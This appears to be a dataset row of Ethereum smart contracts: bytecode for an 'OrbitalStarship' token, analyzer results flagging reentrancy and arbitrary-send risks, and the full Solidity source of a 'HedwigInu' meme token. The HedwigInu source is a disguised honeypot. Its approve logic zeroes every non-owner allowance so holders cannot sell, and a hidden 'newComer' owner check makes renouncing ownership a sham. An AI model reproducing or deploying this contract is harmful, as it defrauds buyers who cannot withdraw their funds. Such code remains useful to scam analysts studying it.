6106a0611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc2565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f02565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610925919061292f565b6040518363ffffffff1660e01b8152600401610942929190612df2565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610994919061292f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e11565b600080610a28610fb5565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e44565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adb565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9e929190612e1b565b602060405180830381600087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190612a89565b5050565b60006009905090565b610c05611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612fc2565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb7611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b90612fc2565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de0611283565b73ffffffffffffffffffffffffffffffffffffffff1614610e0057600080fd5b6000479050610e0e81611c79565b50565b6000610e5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d74565b9050919050565b610e6a611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612fc2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4f52420000000000000000000000000000000000000000000000000000000000815250905090565b600061102f611028611283565b8484611456565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107a611283565b73ffffffffffffffffffffffffffffffffffffffff161461109a57600080fd5b60006110a530610e11565b90506110b081611de2565b50565b6110bb611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612fc2565b60405180910390fd5b6000811161118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612f82565b60405180910390fd5b6111ba60646111ac83683635c9adc5dea000006120dc90919063ffffffff16565b61215790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f19190613062565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290613022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612f42565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114499190613062565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90613002565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90612ee2565b60405180910390fd5b60008111611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612fe2565b60405180910390fd5b611581610fb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610fb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5257600f60179054906101000a900460ff1615611822573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176b611283565b73ffffffffffffffffffffffffffffffffffffffff1614806117e15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c9611283565b73ffffffffffffffffffffffffffffffffffffffff16145b611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613042565b60405180910390fd5b5b5b60105481111561183157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118de57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119df5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f75750600f60179054906101000a900460ff165b15611a985742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4757600080fd5b601e42611a549190613198565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa330610e11565b9050600f60159054906101000a900460ff16158015611b105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b285750600f60169054906101000a900460ff165b15611b5057611b3681611de2565b60004790506000811115611b4e57611b4d47611c79565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0357600090505b611c0f848484846121a1565b50505050565b6000838311158290611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c549190612ec0565b60405180910390fd5b5060008385611c6c9190613279565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc960028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4560028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d70573d6000803e3d6000fd5b5050565b6000600654821115611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612f22565b60405180910390fd5b6000611dc56121ce565b9050611dda818461215790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6e5781602001602082028036833780820191505090505b5090503081600081518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4e57600080fd5b505afa158015611f62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f86919061292f565b81600181518110611fc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061307d565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120ef5760009050612151565b600082846120fd919061321f565b905082848261210c91906131ee565b1461214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390612fa2565b60405180910390fd5b809150505b92915050565b600061219983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f9565b905092915050565b806121af576121ae61225c565b5b6121ba84848461228d565b806121c8576121c7612458565b5b50505050565b60008060006121db61246a565b915091506121f2818361215790919063ffffffff16565b9250505090565b60008083118290612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379190612ec0565b60405180910390fd5b506000838561224f91906131ee565b9050809150509392505050565b600060085414801561227057506000600954145b1561227a5761228b565b600060088190555060006009819055505b565b60008060008060008061229f876124cc565b9550955095509550955095506122fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123de816125dc565b6123e88483612699565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124459190613062565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a0683635c9adc5dea0000060065461215790919063ffffffff16565b8210156124bf57600654683635c9adc5dea000009350935050506124c8565b81819350935050505b9091565b60008060008060008060008060006124e98a6008546009546126d3565b92509250925060006124f96121ce565b9050600080600061250c8e878787612769565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c15565b905092915050565b600080828461258d9190613198565b9050838110156125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c990612f62565b60405180910390fd5b8091505092915050565b60006125e66121ce565b905060006125fd82846120dc90919063ffffffff16565b905061265181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ae8260065461253490919063ffffffff16565b6006819055506126c98160075461257e90919063ffffffff16565b6007819055505050565b6000806000806126ff60646126f1888a6120dc90919063ffffffff16565b61215790919063ffffffff16565b90506000612729606461271b888b6120dc90919063ffffffff16565b61215790919063ffffffff16565b9050600061275282612744858c61253490919063ffffffff16565b61253490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278285896120dc90919063ffffffff16565b9050600061279986896120dc90919063ffffffff16565b905060006127b087896120dc90919063ffffffff16565b905060006127d9826127cb858761253490919063ffffffff16565b61253490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280561280084613117565b6130f2565b9050808382526020820190508285602086028201111561282457600080fd5b60005b85811015612854578161283a888261285e565b845260208401935060208301925050600181019050612827565b5050509392505050565b60008135905061286d81613755565b92915050565b60008151905061288281613755565b92915050565b600082601f83011261289957600080fd5b81356128a98482602086016127f2565b91505092915050565b6000813590506128c18161376c565b92915050565b6000815190506128d68161376c565b92915050565b6000813590506128eb81613783565b92915050565b60008151905061290081613783565b92915050565b60006020828403121561291857600080fd5b60006129268482850161285e565b91505092915050565b60006020828403121561294157600080fd5b600061294f84828501612873565b91505092915050565b6000806040838503121561296b57600080fd5b60006129798582860161285e565b925050602061298a8582860161285e565b9150509250929050565b6000806000606084860312156129a957600080fd5b60006129b78682870161285e565b93505060206129c88682870161285e565b92505060406129d9868287016128dc565b9150509250925092565b600080604083850312156129f657600080fd5b6000612a048582860161285e565b9250506020612a15858286016128dc565b9150509250929050565b600060208284031215612a3157600080fd5b600082013567ffffffffffffffff811115612a4b57600080fd5b612a5784828501612888565b91505092915050565b600060208284031215612a7257600080fd5b6000612a80848285016128b2565b91505092915050565b600060208284031215612a9b57600080fd5b6000612aa9848285016128c7565b91505092915050565b600060208284031215612ac457600080fd5b6000612ad2848285016128dc565b91505092915050565b600080600060608486031215612af057600080fd5b6000612afe868287016128f1565b9350506020612b0f868287016128f1565b9250506040612b20868287016128f1565b9150509250925092565b6000612b368383612b42565b60208301905092915050565b612b4b816132ad565b82525050565b612b5a816132ad565b82525050565b6000612b6b82613153565b612b758185613176565b9350612b8083613143565b8060005b83811015612bb1578151612b988882612b2a565b9750612ba383613169565b925050600181019050612b84565b5085935050505092915050565b612bc7816132bf565b82525050565b612bd681613302565b82525050565b6000612be78261315e565b612bf18185613187565b9350612c01818560208601613314565b612c0a8161344e565b840191505092915050565b6000612c22602383613187565b9150612c2d8261345f565b604082019050919050565b6000612c45601a83613187565b9150612c50826134ae565b602082019050919050565b6000612c68602a83613187565b9150612c73826134d7565b604082019050919050565b6000612c8b602283613187565b9150612c9682613526565b604082019050919050565b6000612cae601b83613187565b9150612cb982613575565b602082019050919050565b6000612cd1601d83613187565b9150612cdc8261359e565b602082019050919050565b6000612cf4602183613187565b9150612cff826135c7565b604082019050919050565b6000612d17602083613187565b9150612d2282613616565b602082019050919050565b6000612d3a602983613187565b9150612d458261363f565b604082019050919050565b6000612d5d602583613187565b9150612d688261368e565b604082019050919050565b6000612d80602483613187565b9150612d8b826136dd565b604082019050919050565b6000612da3601183613187565b9150612dae8261372c565b602082019050919050565b612dc2816132eb565b82525050565b612dd1816132f5565b82525050565b6000602082019050612dec6000830184612b51565b92915050565b6000604082019050612e076000830185612b51565b612e146020830184612b51565b9392505050565b6000604082019050612e306000830185612b51565b612e3d6020830184612db9565b9392505050565b600060c082019050612e596000830189612b51565b612e666020830188612db9565b612e736040830187612bcd565b612e806060830186612bcd565b612e8d6080830185612b51565b612e9a60a0830184612db9565b979650505050505050565b6000602082019050612eba6000830184612bbe565b92915050565b60006020820190508181036000830152612eda8184612bdc565b905092915050565b60006020820190508181036000830152612efb81612c15565b9050919050565b60006020820190508181036000830152612f1b81612c38565b9050919050565b60006020820190508181036000830152612f3b81612c5b565b9050919050565b60006020820190508181036000830152612f5b81612c7e565b9050919050565b60006020820190508181036000830152612f7b81612ca1565b9050919050565b60006020820190508181036000830152612f9b81612cc4565b9050919050565b60006020820190508181036000830152612fbb81612ce7565b9050919050565b60006020820190508181036000830152612fdb81612d0a565b9050919050565b60006020820190508181036000830152612ffb81612d2d565b9050919050565b6000602082019050818103600083015261301b81612d50565b9050919050565b6000602082019050818103600083015261303b81612d73565b9050919050565b6000602082019050818103600083015261305b81612d96565b9050919050565b60006020820190506130776000830184612db9565b92915050565b600060a0820190506130926000830188612db9565b61309f6020830187612bcd565b81810360408301526130b18186612b60565b90506130c06060830185612b51565b6130cd6080830184612db9565b9695505050505050565b60006020820190506130ec6000830184612dc8565b92915050565b60006130fc61310d565b90506131088282613347565b919050565b6000604051905090565b600067ffffffffffffffff8211156131325761313161341f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a3826132eb565b91506131ae836132eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e3576131e26133c1565b5b828201905092915050565b60006131f9826132eb565b9150613204836132eb565b925082613214576132136133f0565b5b828204905092915050565b600061322a826132eb565b9150613235836132eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326e5761326d6133c1565b5b828202905092915050565b6000613284826132eb565b915061328f836132eb565b9250828210156132a2576132a16133c1565b5b828203905092915050565b60006132b8826132cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330d826132eb565b9050919050565b60005b83811015613332578082015181840152602081019050613317565b83811115613341576000848401525b50505050565b6133508261344e565b810181811067ffffffffffffffff8211171561336f5761336e61341f565b5b80604052505050565b6000613383826132eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b6576133b56133c1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375e816132ad565b811461376957600080fd5b50565b613775816132bf565b811461378057600080fd5b50565b61378c816132eb565b811461379757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f72626974616c5374617273686970207c20742e6d652f6f72626974616c7374617273686970657468a2646970667358221220fa61159f5b608da7402377f42663c1db5fa6dcba1d1183e1f58d5c51f631e5a664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,874
0x0d38ebc4b414a7a2163fd77f43fd82eef69a42ae
/** *Submitted for verification at Etherscan.io on 2021-07-13 */ /* _ _ _ _ _ | | | | | | (_) (_) | |__| | ___ __| |_ ___ __ _ _ _ __ _ _ | __ |/ _ \/ _` \ \ /\ / / |/ _` | | '_ \| | | | | | | | __/ (_| |\ V V /| | (_| | | | | | |_| | |_| |_|\___|\__,_| \_/\_/ |_|\__, |_|_| |_|\__,_| __/ | |___/ βœ… Twitter: https://twitter.com/Hedwig_Inu βœ… Website: https://hedwiginu.com/ βœ… Telegram: https://t.me/hedwiginu Fee: ⚑️ 2% Redistribution ⚑️ 2% Buyback & Burn ⚑️ 4% Marketing ⚑️ 4% Development */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract HedwigInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'HedwigInu | https://t.me/hedwiginu'; string private _symbol = '$Hedwig'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
